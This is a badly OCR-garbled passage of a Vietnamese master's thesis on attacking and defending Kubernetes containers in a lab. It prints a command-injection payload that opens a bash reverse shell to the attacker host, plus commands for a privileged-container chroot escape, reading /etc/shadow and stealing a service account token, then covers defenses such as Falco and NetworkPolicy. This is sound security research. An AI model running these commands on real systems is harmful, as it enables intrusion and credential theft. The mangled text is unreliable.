Chiém Pod va thoat chudng chiém
— Node béng Privileged
Léi ciia web Trom Token leo thang chiém quyén ca
cluster
Nghe 1én dir liéu Plaintext gira cac
Microservices

Lo N
14

Hinh 4.2. So dé luéng thirc nghiém
4.3. Kich ban TN-01: T4n cong thoat chudng (Container Escape) qua ciu hinh
sai Pic quyén
4.3.1. Muc tiéu

Tir quyén truy cap ban dau thu dugc bén trong container Frontend, ké tdn cong
bé gay ranh gidi c6 1ap dé nhay ra ngoai (Escape), chiém quyén diéu khién dic quyén

root truc tiép trén hé diéu hanh cia may cha host vat Iy (worker01).

4.3.2. Didu kién kich hoat 16i
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Quan tri vién cdu hinh sai 1am nghiém trong trong file deployment khi kich hoat

ché d6 siéu dic quyén (privileged: true) cho container:

spec:

containers:

- name: python-web
image: python:3.10-slim
securityContext:
privileged: true

Hinh 4.3. Céu hinh dan dén khai thac 16i Misconfiguration

Tai ting Gmg dung (Web Application Layer): Tinh ning xt Iy va nén anh tir kho
cung tmg bj l4p trinh 16i Command Injection. Do 14p trinh vién sir dung ham néi chudi
hé théng nguy hiém os.popen(f"wget -qO- '{image_url}'"") ma khong trién khai bat
ky co ché kiém duyét dir liéu ddu vao, cho phép hacker chén thém cac ky tu diéu
khién luong (nhu ;, &, |) dé thyc thi ma 1énh tiy ¥ dudi quyén root cuia container.

from fastapi import FastAPI, Form, Request )
from fastapi.responses import HTMLResponse, JSONResponse
import os

app = FastAPI()

@app.post("/sync-media™)
def sync_media(image_url: str = Form{...)):

command = f"wget -q0- '{image url}' > /tmp/preview.jpg"

stream = os.popen(command)
output = stream.read()

return JSONResponse(content={"status": "success", "message"”: "Image synced successfully"})
Exception as e:
return JSONResponse(content={"status": "error”, "message": str(e)}, status_code=50@)

Hinh 4.4. Pogn md chia 16i cho phép hacker khai thic trudc khi tan cong escape trong

container
4.3.3. Quy trinh thwe hién chi tiét

Thiét 1ap Reverse Shell: Ké tin cong dung may Kali Linux mé cong ling nghe

nc -lvnp 4444.
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Hinh 4.5. Hacker mé cong 4444 ling nghe két noi khi khai thac
Thong qua giao dién Web muc tiéu tai cong 30080, ké tin cong tiém chudi
payload doc hai vao 6 URL:Plaintexthttps://google.com'; bash -c 'bash -i >&
/dev/tcp/10.15.xx.173/4444 0>&1'"; '. Trong do 10.15.xx.173 1a dia chi cua may

hacker.

1.Dong bé Media & T6i uu dnh 2. Céng Thanh todn Bon hang ndi bé

s googte.con; bash < bash -+ =8 devco 2o [ 4 052 a2z
Kich host Bong b (Sync) ) h
550000 -
Xac nhdn Thanh toan (Checkout)

Hé théng backend thuc thi ngdm qua ham os.popen(), tra vé mot phién shell
tuong tac root@web-frontend-xxx:/# vé cho may Kali.Kiém tra ning luc dic quyén
(Capabilities Check): Tai shell vira chiém dugc, ké tan cong kiém tra quyén bang

Iénh:

capsh —-

Két qua hién thi quyén cap_sys_admin va cap_sys_rawio $\rightarrow$

Hinh 4.6. Hacker chay lénh kiém tra cdc dic quyén
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Xéc nhén container dang chay & ché do nguy hiém --privileged. Liét ké 6 dia

cua Host cing:

Ké thn cong thuc hién 1énh dé thoat container dé truy nhap vao host worker:

/tmp/host_root

chroot

Két qua hién thi trén man hinh chimg té hacker da thoat chudng (Container
Escape) va can thiép thanh cong vao may Host Worker. Hacker c6 thé thuc thi cac

lénh dé thu thap thong tin nhay cam tir Worker node véi dic quyén.
4.3.4. Két qua thwe nghiém dat dwoc

Ngay sau khi 1énh chroot thuc thi, khong gian gbc ctia container bi pha v& hoan
toan. Pé chimg minh hanh vi thoat chudng chiém quyén may chu vat 1y thanh cong,

ké thn cong thuc hién hai I¢énh pha hoai cot 16i:

Poc file mat khau hé thong: Thyc hién 1énh cat /etc/shadow dé trich xuét file
bam mat khau ctia may Host. Két qua man hinh hién thi toan bo chudi hash dong bang

cua cac tai khoan Node:

3] from (UNKNOWN) [1@.15.242.172] 49596
cannot set t nal process group (1): Inappropriate ioctl for device
no job control in th s
frontend-6f57477578-8s1qx:/# cd /tmp/host_root

lgx:/tmp/host_root# chroot .

t can't access tty; job control turned off

Hinh 4.7. Két qua viéc hacker trich xudt file nhay cam trén mdy host
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Xéc thue hé diéu hanh Node: Thuc hién 1énh cat /etc/os-release, két qua tra vé
thong tin hé diéu hanh ciia may Node 1a Ubuntu 22.04 LTS (thay vi anh gc Debian
clia container), xac nhan ké tdn cong di thoat ranh gidi c6 14p, s& hitu quyén root toi
cao trén may chu vat 1y, co toan quyén can thiép nhan hé thong hoic tit bo ha tang

Node.

VERSION_CODENAME=jammy

ID=ubuntu

ID_LIKE=debian

HOME_URL="https:/ .ubuntu.com/"

SUPPORT_URL="http 1p.ubuntu.com/"

BUG_REPORT_URL="https launchpad.net/ubuntu/"

PRI\ _POLICY_URL="https waw . Ubuntu. com/ e erms-and-policies/privacy-policy”
UBUNTU_CODENAME=jammy

#

Hinh 4.8. Hinh anh chumg minh viéc hacker da thyc sy escape ra ngoai may host

4.4. Kich bian TN-02: Panh cip Service Account Token dé chiém quyén cum

Kubernetes
4.4.1. Muc tiéu

Loi dung Token dinh danh (ServiceAccount) dugc gin mic dinh trong Pod
Frontend dé chiém quyén quan tri tdi cao (Cluster Admin) ciia toan bo cum may chit

K3s tur xa.
4.4.2. Diéu ki¢n kich hoat 16i

Quan tri vién lién két tai khoan dich vu ctia Pod Frontend véi quyén Admin cua
toan cum thong qua mot ClusterRoleBinding qua 1éng 1€o:

roleRef:
kind: ClusterRole
name: cluster-admin

apiGroup: rbac.authorization.k8s.io

Hinh 4.9. Céiu hinh khéng dam béo an toan ciia pod Web
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4.4.3. Quy trinh thwe hién chi tiét

Khai thac va Panh cap Token mat: K¢é tin cong sir dung phién shell chiém duoc tir
16i Command Injection & TN-01, truy cap vao dudng dan luu trit token nodi b cua

Kubernetes dé trich xut khoa ciu hinh:

cat /var/run/secrets/kubernetes.io/serviceaccount/token

Hinh 4.10. Token b hacker ldy duwoc trong qud trinh khai thic

Ké tan cong sao chép (Copy) toan bod chudi token siéu dai ma héa dang JWT
(bt dau bang eylJ...) hién thi trén man hinh.

Ciu hinh Kubectl tir xa trén may Kali: Mo mot Terminal doc lap trén may
Kali Linux, ké tin cong nap Token trom dugc va IP that cua API Server (Master
Node) vao bién méi trudng:

Chiém quyén diéu khién thue té: Ké tan cong ra 1énh cho cum K3s thong qua
cong cu kubectl.

kubectl --server=$MASTER_URL --token=$TOKEN --insecure-skip-

tls-verify get nodes

Session Actions Edit View Help

STATUS ~ ROLES
masterdl Ready  control-plane
worker@1 Ready  <none>

Hinh 4.11. Hinh dnh chitng minh hacker da thee sie chiém duweoc quyén quan tri cluster
4.4.4. Két qud thwe nghiém dat dwoc
Man hinh méy Kali Linux in ra danh siach toan by cdc node master01 va

worker01 ¢ trang thai Ready. Véi quyén cluster-admin c6 dugc, tin tic di chiém

quyén ki€m soat toi cao toan bd Cluster, c6 kha nang xdéa bo cac Pod tng dung cua
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doanh nghiép, khoi tao cac Pod doc hai dé dao tién a0, hodc danh cép toan bd co so

dir li€u luu trit (Secrets/ConfigMaps) tu xa.

4.5. Kich ban TN-03: T4n céng lién quan dén 16p mang mang ndi bd (Container

Networking)
4.5.1. Muc tiéu

Khai thac kién trac mang phang mic dinh (khong c6 tuong Itra c6 1ap Pod) dé
tién hanh bat va phan tich goi tin (Sniffing), danh cap théng tin thé tin dung nhay cam
truyén tai dudi dang vian ban tho (Plaintext) gitta cac dich vu vi mé 1an can.
4.5.2. Céu tritc dich vu gid ldp phuc vu Lab

Hé thong bo sung mot microservice ngdm mang tén payment-service. Khi
nguoi dung thuc hién thao tac tai form thanh toan trén giao di¢n Frontend, Frontend
s€ tao mot yéu cau HTTP POST truyén chudi dir liéu theé thd qua mang ndi bo téi dia

chi http://payment-service:8080/charge.

4.5.3. Quy trinh thwe hién chi tiét
Cai diit cong cu bit goi tin: Tai phién shell twong tac cia Pod Frontend (nc),
ké tn cong thuc hién cap nhat va cai dat cong cu phan tich mang:
apt-get update && apt-get install -y tcpdump
Kich hoat cim chét bit dir liéu: Ké tan cong ra 1énh cho tcpdump ghi lai toan
bd luu lugng di chuyén qua card mang ethO ciia Pod va xuét ra file dinh dang pcap:

tcpdump -i eth® -w /tmp/network traffic.pcap

Gia lap giao dich ngwoi dung: Tu may Kali, mé trinh duyét truy cép giao dién
ung dung muc tiéu, dién thong tin thé tin dung (vi du: 4111-2222-3333-4444, CVV
123) vao form "Céng Thanh todn Pon hang néi bé" 16i bAm Xac nhan Thanh toan

(Checkout).


http://payment-service:8080/charge
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D{r liéu da dugc truyén ngam (HTTP Plaintext) sang dich vu
|6i.

{"status": "success"}

Quay lai

Hinh 4.12. Thao tac thuc hién thanh todn cua nguoi dung binh thuong
Trich xuit file PCAP vé may tan cong: Quay lai shell nc, bam Ctrl+C dé dimng

tcpdump. Tai may Kali Linux, ding quyén Admin (c6 duoc tir bai TN-02) dé kéo file
pcap ra ngoai may vat 1y:

kubectl --server=$MASTER_URL --token=$TOKEN --insecure-skip-

tls-verify cp

default/<POD_FRONTEND>:/tmp/network traffic.pcap

./network_traffic.pcap

fy cp default/web-frontend-6f57477578-8slqx: /tmp/network_traffic.pcap ./network_traffic.pcap

from member names

network_traffic.pcap

Hinh 4.13. Traffic tir pod payment dwoc hacker dump dwoc truyén ra ngodi

Phan tich bang Wireshark: M¢ file bang cong cu Wireshark trén Kali (wireshark
network_traffic.pcap), loc giao thirc http, bAm chudt phai vao goi tin /charge chon

Follow -> HTTP Stream.
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ADA® s BE@ a<«>n«>EE = o R
A S filte trl-)

No. Time Source

Destination Protocol Length Info

13 133.978566 10.42.1.1 10.42.1. 66 59531 — 80 [ACK] Seq=340 Ack=136 Win=64512 Len=0 TSval=524023448 TSecr=1873134..

14 133.978670 10.42.1.1 10.42.1.13 TCP 66 59531 — 80 [ACK] Seq=340 Ack=7126 Win=78848 Len=0 TSval=524023448 TSecr=187313.

15 133.978762 10.42.1.1 10.42.1.13 TCcP 66 59531 — 80 [ACK] Seq=340 Ack=7236 W. 8848 Len=0 TSval=524023448 TSecr=187313..

16 134.052529 10.42.1.1 10.42.1.13 HTTP 427 GET /favicon.ico HTTP/1.1

17 134.054501 10.42.1.13 10.42.1.1 TCcP 198 80 — 59531 [PSH, ACK] Seq=7236 Ack=701 Win=64256 Len=132 TSval=1873134889 Tsec..

18 134.054630 10.42.1.13 10.42.1.1 HTTP/J 88 HTTP/1.1 404 Not Found , JSON (application/json)

19 134.054785 10.42.1.1 10.42.1.13 TCP 66 59531 — 80 [ACK] Seq=701 Ack=7368 Win=81408 Len=0 TSval=524023524 TSecr=187313.

20 134.054839 16.42.1.1 16.42.1.13 TCP 66 59531 — 80 [ACK] Seq=761 Ack=7390 Win=81468 Len=0 TSval=524023525 TSecr=187313.

21 139.028513 46:91:9e:T1:26:17 12:ba:1c:a9:03: 76 ARP 42 who has 10.42.1.13? Tell 10.42.1.1

22 139.028546 12:ba:1c:a9:03:f6 46:91:9e:f1:26:f7 ARP 42 16.42.1.13 is at 12:ba:1c:a9:03:f6

23 139.056968 10.42.1.13 10.42.1.1 TCP 66 80 —. 59531 [FIN, ACK] Seq=7390 Ack=7@1 Win=64256 Len=@ TSval=1873139891 TSecr=.

24 139.857679 10.42.1.1 10.42.1.13 TCcP 66 59531 — 80 [FIN, ACK] Seq=701 Ack=7391 Win=81408 Len=0 TSval=524028527 TSecr=1.

25 139.057715 10.42.1.13 10.42.1.1 TCP 66 80 —. 59531 [ACK] Seq=7391 Ack=702 Win=64256 Len=0 TSval=1873139892 TSecr=52402.
.007139 . 1 74 63994 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=524055476 TSec..
007183 1 74 80 — 63994 [SYN, ACK] Seq=0 A( 10 SACK_PERM TSval=187.

G A7, 1. 5 =% ACK] SEq=1 ACK=52 = & Lem—u =18
31 166.020704 10.42.1.13 10.43.0.10 101 Standard query 0x000b A payment-service.default.svc.cluster.local
32 166.020799 10.42.1.13 10.43.0.10 101 Standard query ©xab04 AAAA payment-service.default.svc.cluster.local

» Form item

» Form item

Hinh 4.14. Két qua qua trinh khai thdc la thng tin thé tin dung ciia nguoi diing

4.5.4. Két qua thwe nghiém dat dwoc

Toan bd thong tin nhay cam cia ngudi dung bao gdm sb thé tin dung, mi bao

mat CVV va so tién giao dich hién thi rd mon mot dudi dang van ban thuan

(Plaintext). Thuc nghiém ching minh sy nguy hiém ciia cau hinh mang mic dinh

trong Kubernetes: chi can mot Pod hudng ngoai bi hack, toan bo dit liéu truyén thong

ndi b cua cac Pod 1an can déu c6 nguy co bi nghe 1én néu thi€éu co ché ma hoéa TLS

va Network Policy.

4.6. Thir nghiém danh gia mé hinh giai phap dé xuat

Dé hién thyc hoa kha ning phong vé cho hé théng container trudc cac mbi de

doa va phuong thirc tin cong duogc thuc hién & trén va gan két cac cong nghé don 1é

(Trivy, Seccomp, PSA, Falco, Calico) thanh mot hé sinh thai an ninh ddng nhat, hoc

vién d& xuat mo hinh trién khai kién trac phong thu da 16p (Defense-in-Depth) xuyén

sudt vong doi ciia Container. Kién tric nay dugc thiét ké theo tu twong "Shift-Left

Security" (Pua bao mat 1én sém) két hop voi "Zero-Trust" (Khong tin ciy bat ky ai)

tai tﬁng van hanh.
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4.6.1. So dé kién tric logic

O

Hinh 4.15. M6 hinh gidi phdp béo vé hé thong container dé xudt
4.6.2. Luéng thuc thi ciia gidi phdp
Mo hinh trién khai trén dugc van hanh theo mot ludng xir 1y khép kin, triét tiéu
moi kha nang can thi€p trai phép tai ca 3 giai doan:
1. Giai doan Tich hop lién tuc (CI/CD - Build):

Lap trinh vién diy ma ngudn va Dockerfile (dd chudn hoa Distroless, chay

dudi User thuong) 1€n kho chuia (Git).
Puong dng CI/CD tu dong kich hoat engine ra quét Trivy trude khi dong goi.
Néu phat hi¢n cac thanh ph?m thu vién chita CVE muc do Cao/Nghiém trong hodc ro

ri secret, duong dng sé& ty dong huy bo tién trinh (Fail-fast).
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| Type | vulnerabilities | secrets |

Hinh 4.16. Qua trinh thuc hién scan image voi Trivy
2. Giai doan Phan phéi (Registry - Ship):

Image duoc day 1én hé thong kho luu trit bao mat (nhu Harbor). Kho luu trit
nay dong vai trd nhu viing dém sach, tir chdi tiép nhan cac Image khong c6 ching chi
ky s6 hop 1¢.

3. Giai doan Van hanh (Kubernetes Cluster - Run):

Tai tﬁng Control Plane: Khi c6 yéu cau trién khai mot Pod méi (vi du: ung
dung Web), yéu cau nay phai di qua Admission Controller. Tai dy, hé thong xac
thue chit ky s ctia Image va ap dit luat Pod Security Admission (PSA). Moi yéu ciu
sir dung cd --privileged hodc gan két hostPath (nguyén nhan gay ra 16i TN-01) déu bi

tir chdi ngay lap tuc.
Chay I¢nh ép c4u hinh bao mat cao nhét cho namespace:

sudo k3s kubectl label --overwrite ns default pod-

security.kubernetes.io/enforce=restricted

Két qua khi apply cau hinh dé chay pod web di bi chin lai.
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Hinh 4.17. Hinh dnh chitg minh viéc ép dung cau hinh bao mdt PSA

Tai ting Worker Node (Data Plane): Khi Pod dugc cip phép khoi chay, hé
thong phong thu dong 1ap tirc bao boc ing dung:

Phong thu hé thong tép: Ho so Seccomp mic dinh dugc ap dung vao tién

trinh, tude bo cac dic quyén goi nhan (Syscalls) nhay cam.

Phong thu luéng mang: Lop mang Calico CNI ap dung mé hinh Zero-
Trust. Bat ky nd luc ndo nham quét mang ndi bd hodc day géi tin trai phép sang cac
microservices khac (nhu bai thyc nghiém TN-03) déu bi rét (Drop) tai card mang ao.

erik@masterfl:~% cat <<EOF | sudo k3s kubectl apply - -
apiVersion: networking.k8s.1o/
kind: NetworkPolicy
metadata:
so0late-payment-service
ace: default

podSelector:
matchLabels:
B ent-service

networkpolicy.networking.k8s.io/isolate-payment-service unchanged

Hinh 4.18. Céiu hinh diam bo kién triic mang Zero-Trust
Sau khi cau hinh dugc 4p dung viéc nghe 1én traffic mang tir Pod web téi pod Payment
d3 bi chan hoan toan. Nhu vay trong trudng hop bi tin cong thuc té ké tan cong ciling

khong thé tin cong cac pod khac dé khai thac thong tin nhay cam.
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v Giao dich da dwoc xwr ly
Dik liéu dé dwgc truyén ngam (HTTP Plaintext) sang dich vu [5i

HTTPConnectionPool (host="payment-service", port=808@): Max
retries exceeded with url: /charge (Caused by
NewConnectionError ("HTTPConnection(host="payment-service’,
port=888@): Failed to establish a new connection: [Errne 111]
Connection refused™))

Quay lai

Hinh 4.19. Minh chitng xdc thue kha néing phong thi ciia kién triic mang Zero-Trust

Giam sat tang hinh (Stealth Monitoring): O 16p sau nhat (Kernel Space),
cac module eBPF cua Falco lién tuc léng nghe moi sy kién. Néu tin tic khai thac
thanh cong 16i 0-day dé bat Shell twong tac, eBPF sé& bat qua tang va truyén tin hiéu

canh bao vé trung tAm van hanh (SOC) chi trong vai micro-gidy.

to 1 C
ive File Opened i ntainer
reading of sensitive files inside a container
tion: >
ype in (open, openat) and

: Shell spawned in container (us =%proc.cmdline container_id=%container.id)"

tre_execution]

Hinh 4.21. Hacker tién hanh dump file /etc/shadow
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LOAD_UNUSED_MACRO (Unused macro): Macro not referred to by any other rule/macro

-06-27T16:49:31+0000: The chosen syscall buffer dimension is: 8388608 bytes (8 MBs)

-06-27716:49:31+0000: ) health webserver with threadiness 4, listening on 0.0.0.0:8765

-06-27T16:49:31+0000: Loaded event sources: syscall

-06-27T16:49:31+0000: En 1 event sources: syscall

-06-27T16:49:31+0000: e 'syscall' source with modern BPF probe.

-27T16:49:31+0000: One ring buffer every '2' CPUs.

-06-27T16:49:31+40000: [libs]: Trying to open the right engine!

-06-27T716:49:31+0000: libpman: disabled BPF iterators (not running in the root PID namespace, or t

-06-27T16:50:40.406364726+000 Critical CRITICAL ALERT: Sensitive file opened (user=root command=cat /etc/shadow

> container_image_repository ontainer_image_ta A> k8s_pod_name=<NA> kB8s_ns_name=<NA>

2026-06-27T16:50:48.369718722+0000: Warning Sensitive le opened for reading by non-trusted program | file=/etc/shad
oginuid=-1 process=cat proc_exepath=/usr/bin/cat parent=bash command=cat /etc/shadow terminal=0 container_1id=4c56190e

Hinh 4.22. Két qua aler hién thi cdnh bdo dang cé lénh thiee thi nhay cam trong Pod web

Kién trac trién khai nay tao ra mot vong lip bao mat kin (Closed-loop security),
noi moi 16p cong nghé b6 trg va boc 16t cho nhau, dam bao hé thé)ng Container kién
cd trude ca cac moi de doa di biét (Known vulnerabilities) 13n cac k¥ thuat tan cong

zero-day tinh vi.

Nham danh gid mot cach dinh luong va khoa hoc strc chéng chiu cting nhu murc
d6 tiéu thu tai nguyén phan ctng cta hé thong bao vé, dé an str dung cong cu Apache
Benchmark (ab) dé tién hanh ép tai (Stress Test) v6i te d6 1000 requests (mirc do
dong thoi 14 10 ludng song song) nhim thing vao cum may chil Lab thuc nghiém sau
khi bat phong thu.

S6 liéu trich xuét thoi gian thyc tir bai kiém thir tai thong qua cong cu Apache
Benchmark va trinh giam sat hé thong htop dugc tong hop d6i ching truc tiép voi

moi truong mac dinh chua bao v¢ cua Chuong 3 tai bang dudi day:

PID USER ___PRI_NI_VIRT _RES _SWh S CPUW

disks

Hinh 4.23. Thuee nghiém do kiém hiéu ndng ciia Worker trong khi bi tan cong
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Finished 1000 requests

Server Software: uvicorn
Server Hostname: 10.15.242.172
Server Port: 30080

Document Path: /
Document Length: 7100 bytes

Concurrency Level: 10

Time taken for tests: 0.911 seconds

Complete requests: 1000

Failed requests: 0

Total transferred: 7254000 bytes

HTML transferred: 7100000 bytes

Requests per second: 1097.66 [#/sec] (mean)

Time per request: 9.110 [ms] (mean)

Time per request: 0.911 [ms] (mean, across all concurrent requests)
Transfer rate: 7775.79 [Kbytes/sec] received

Connection Times (ms)

min mean[+/-sd] median max
Connect: 0 0 . 0 B
Processing: " 8 35
Waiting: : 7 34
Total: 9 35

Percentage of the requests served within a certain time (ms)

50%

66%

75%

80% 10

90% 11

95% 12

98% 15

99% 31

100% 35 (longest request)

Hinh 4.24. Thao tac thuc hién gia ld tan cong trén Kali Linux

Két qua d6i chung thuc nghiém chi ra mét hién tuwgng cong nghé vo ciung ¥
nghia: Moi trudng phong thi sau khi duge gia ¢ bang cach loai bo cac cau hinh chia
sé 6 dia cong kénh (hostPath: /) va dua tién trinh vé user thuong khong nhirng khong
1am suy giam hiéu ning ctia ha tAng ddm may ma con gitp t6i vu hoa ludng doc/ghi
I/O cta nhan Linux. Két qua nay giup kéo giam do tré phan hoi trung binh cua hé
thong xudng dudi ngudng 1y twong (9.11 ms), dong thoi thic day hiéu suat xu 1y vuot

bac dat 1097.66 requests/second.



CHi SO PO LUONG
(METRICS)

MOI TRUGNG MAC
DINH (CHUGNG 3)

D P& tré trung binh
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SAU KHIKICH HOAT
PHONG THU (CHUGNG 4)

MUC DO HAO PHi HE
THONG (OVERHEAD)

Giam dang ké (Hatang

12.4ms 9.11ms
(Latency) toi uu han)
I~ Hiéusuatxily . . -
845rps 1097.66 rps Tang ~29.9% cong suat
(Throughput)
Duy tri 8 ngudng an toan
# TaiCPUtrungbinh  4.2% 4.0% jei e
téiuu
Z2 Dunglugng RAM . Chiém dung thap, tiét
" ’ Baseline 911MB ; e
hé théng kiém phan cing

Hinh 4.25. Hiéu xudt do heomg sau khi trién khai cdc gidi phdp bdo vé

Hao phi tai nguyén CPU va RAM ghi nhén tir htop ching minh rang viéc phdi
hop giita cac rao can nhan Linux gdc (Seccomp, PSS) cuing ciu tric giam sat siéu nhe
eBPF cua Falco hoan toan dép ung tron ven muc ti€u nghién ctu da dat ra tai phén
Mo dau dé tai: Xdy dung giai phap an ninh toan dién, bao vé kién c6 nhung gan nhu
trong sudt va khong gy anh hudng tiéu cuc dén hiéu ning van hanh thuce té cua cac

thiét bi ciing nhu may chi doanh nghiép.
4.7. Két luan chuong

Chuong 4 da hoan thanh viéc xay dung moi truong thyc nghiém véi cac kich
ban tin cong gia dinh (PoC) dai dién cho nhitng mbi de doa thyuc té nhat dbi véi ha
tang container. Két qua thuc chtng tir ba kich ban TN-01, TN-02 va TN-03 d3 lam
sang to co ché leo thang tir 18i c4u hinh sai ddc quyén (privileged) dén viéc chiém
quyén Cluster Admin thong qua danh cap dinh danh (Service Account Token) va khai
thac mang phing dé nghe 1én luu lugng. Nhitng minh chtng nay khong chi khang
dinh tinh d& ton thuong cua cac thiét 1ap mic dinh ma con cung cap dir liéu quan
trong dé dinh hinh cic yéu cau phong thi trong chuong tiép theo. Dic biét, két qua
thir nghiém hiéu nang cho thiy viéc ing dung cong nghé eBPF va t6i uru hoa cau hinh
nhan Linux khong nhiing khong giy suy giam tai nguyén ma con gitp hé thong van
hanh 6n dinh va téi vu hon (d6 tré 9.11 ms, 1097.66 rps), dap Gmg tron ven yéu ciu

b4o mat kién c¢6 nhung van gan nhu trong sudt doi v6i hiéu ning ing dung.
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KET LUAN

Dé 4n tot nghiép mang tén "Nghién ctru phwong thirc tin cong vao hé thong
container" da hoan thanh toan ven cac muc ti€u dat ra, mang lai mdt nghién ctru co
gia tri thuc tién cao cho linh vuc an toan bao mat hé thong phan tan. Dé 4an da xay
dung thanh cong hé thdng co sé 1y luan vimg chic vé kién trac container hoa, 1am rd
ban chét ¢6 l4p cua cac co ché Namespaces va cgroups thudc nhan Linux. Thong qua
qua trinh phan tich 1y thuyét va thiét 1ap moi truong phong thi nghiém thuc nghiém,
dé 4n d4 tai hién va 1am sang to co ché hoat dong cila cac véc-to tin cong nguy hiém
co tinh thoi sy hién nay bao gém tan cong thoat chuéng, lam dung cAu hinh sai dic

quyén, danh cap token diéu phdi va nghe 1én mang ndi by microservices.

Tir cac két qua thuc nghiém d6, hoc vién di dé xuat va ching minh tinh hiéu
qua cia mOt mo hinh gidi phap phong thu da 16p toan dién theo chu trinh DevSecOps.
Giai phap di két hop hai hoa gitta viéc ra quét kiém soat tinh chudi cung tng bang
Trivy, Harbor cho dén viéc thiét 1ap cac co ché phong thii runtime chi dong bang
Seccomp, Falco va co 1ap mang bang Network Policy. Cac bién phap nay hoan toan
dam bao tinh hoat dong hi¢u qua, bao v¢ h¢ théng mot cach tdi vu va gén nhu trong

suot, khong gay anh huong dén hi€u nang van hanh thuc t€ cua moi trudng container.
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9. Hji déng hop riéng:
- Biu Ban kiém phiéu:

1. Truomg Ban kiém phiéu: '&S."Sﬂw "'....'.'.‘%“..ae’-'c
2. Uy vién Ban kiém phidu: ... Bo...... V0. U Rl
3. Uy vién Ban kiém phidu: ... TS..... D a:;él*g ..... Ma

- i ddag chim dé &n 5t nghigp bang bo phiéu kin.
- Ban kiém phiéu lam viéc:
- Trudmg Ban kiém phiéu béo cio két qua kiém phiéu (co Bién bin hop Ban kiém

phiéu kém theo)

- Diém trung binh cita dé dn tét nghip: ... S ...

Két lujn:

1. Céc ndi dung cin chinh s, hoda thién sau bio v¢ aé én 16t nghiép:
EIRIPVREN i Y (o M{R Josge.... Au. ..... ha ...... €0l NG bii.... i, %3
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CONG HOA XA HQI CHU NGHIA VIET NAM
Déc lip - Tu do — Hanh phic

BAN NHAN XET DE AN TOT NGHIEP THAC SI
(Ding cho ngwai phan bign)

Tén dé tai @ 4n tét nghiép: Nghién ciru phwong thirc tin cong vao hé thong
container

Chuyén nganh: Hé théng théng tin

M chuyén nginh: 8.48.01.04

Ho v tén hoc vién: Nguyfn Tudn Anh

Ho va tén ngudi nhin xét: Trinh Bdo Ngoc

Hoc ham, hoe vj: Tién s

Chuyén nganh: K§ thujt phin mém

Co quan cdng téc: Trudmg dai hoc Ha N§i

S& dién thoai: 0987 355 799 E-mail: ngoctb@hanu.edu.vn

NOI DUNG NHAN XET
I/ Co sé khoa hoc vii thye tién, tinh cdp thiét cia dé tai:

Co s khoa hoe: Dé i duge xiy dymg trén nén tang khoa hoc vitng chiic vé cong
nghé container hoa, kién triic hé théng va cdc co ché bio mit cia Linux Kemel nhu
namespaces va cgroups. Tac gid da phin tich sy khic bigt gila container vi mdy 4o,
md hinh phin Idp cia hé théag container, ciing céc 18 hdag bdo mét phd bién trong
image, runtime, hé diéu phdi vi mang ndi b). Vige thyc nghiém céc phuong thirc tan
céng nhur container escape, chiém quyén Kubernetes va tin cong mang ni b cho thiy
co & khoa hoe rd rang, két hop 1y thuyét véi thyc nghiém dé 1am séng t6 co ché xdm
nhip va phong thi.

Co sé thye tién: Dé tii xudt phat tir thyc trang container hda dang trd thanh tiéu
chudn trong ha ting CNTT hi¢n dai, duoc trién khai ring rdi rong doanh nghilp va
dich vy ddm mdy. Céc hé théag container thuimg 14 myc tiéu tin cdng cia tin tic do
tinh phc tap vi yéu ciu higu ning cao. Téc gii di xiy dyng mdi truimg thyre nghi¢m,
mé phng cic kich bin tin cdng thyc té va d& xuit gidi phip phong thii nhu eBPF,
Falco, Calico CNI va kién triic Zero-Trust. Diéu nay cho thiy & tii cd gid trj img
dmiutz:cti&lcao.hbwungcaomninhd\ohelhéngwmalmtmngmbimwng
sin

Tinh cip thit: Trong bi cinh hon 90% doanh nghiép toin clu dy kién trién khai
img dung dudi dang container hoa vio nam 2026, viin d& bao mdt container trir nén
chp thiét. Céc phuomg thire thn odng nhu escape, chiém quyén Kubernetes hay tin
cong mang ndi b) co thé gy hiu qui nghiém trong. Do d6, nghién ciru phuong thire
tfin cong va gidi phip phéng thil todn dién cho hé thing container 1a nhu céu cép bich.



Dé tii khing chi c6 ¥ nghia hoe thujt md cdn mang tinh img dyng thyre 1, gitp céc
chire chit dong phong ngira rili ro va dim béo an todn thong tin trong ha ting container
hi¢n dai.

11/ N§i dung ciia 62 dn t6t nghiép, cac két qui 3 dat dupc:

Két cdu @é én:

D én gdm nim chuong duye trinh biy trong 60 trang vé: cu s 1y lufn vé container,
céic 18 hdng bdo mit, thyc nghiém tin cong, gidi phip phdng thi toan di¢n, két lujn va
tii Jiéu tham kho. Dé tai ciing trinh bay kha ngin trong khi phén tdng quan va phén
tich t&i hon 20 trang.

Tém tiit cic két qua dat dwge:

DE tii da dat duge nhidu két qui quan trgng. V& Iy luiin, tic gid d3 hé thong héa kién
thirc nén tang vé container, phin bi§t véi mdy do, phén tich kién tric phin Jép va cic
cor ché bao mit ciia Linux Kemel, V& thyc tifn, tic gid di xfy dyng moi trudmg thyre
nghiém va trién khai ba kich ban tin cong: container escape qua clu hinh sai djic
quyén, chiém quyén cum Kubemetes bing Service Account Token, vi tin cdng mang
ndi bd.

Céc kich ban ndy da chimg minh tinh kha thi cia céc phuong thirc tin coog, ddng thdi
chi ra cic diém yéu trong hé théng container. VE gidi phép, tic gid di dé xudt va thir
nghiém céc cong nghé phong thii nhu eBPF, Falco, Calico CNI vi kién tric Zero-
Trust, déng thiri dinh gia hi¢u ning 4é ddm bio khong inh huing dén vin hanh thyc
té. Két qua cho thly cic giai phap nay c6 khi niing gidm sat hiéu qua, phit hién sém
hnh vi bt thuémg va gidm thidu rdi ro. Ddy 14 déng gop thié thye cho vic ning cso
an pinh he théng container trong mdi tnrémg sin xudt..

I/ Nhimg vén dé cin giai thich thém:
V¢ binh thirc trinh bay:

Pé én trinh by rd ring, cd myc lyc chi tiér, danh myc thujt ngir va hinh v& diy du,
gilip ngui doc dé theo ddi va ndm bét ndi dung.

Mot sb 15i dinh dang xudt hién trong tai ligu. Trang 2, myc Iyc c6 15i lip “CHUONG
2: CHUONG 2" gély du thira,

Trang 6, danh myc hinh v& cé 15i ca chinh khi s trang khéng thing hing, vi dy
“Hinh 2 Kién triic cia Docker containcr” bi ghi lién sd.

Trang 25, hinh 14 c6 mé ti ddi gly mat cén déi gil hinh va chi thich. Trang 29, hinh
21 bj ghi chis khéng déng b véi ndi dung, giy kho doc. Trang 38, hinh 28 c6 18i
xubng dong khong hop Iy trong tiéu 0&,



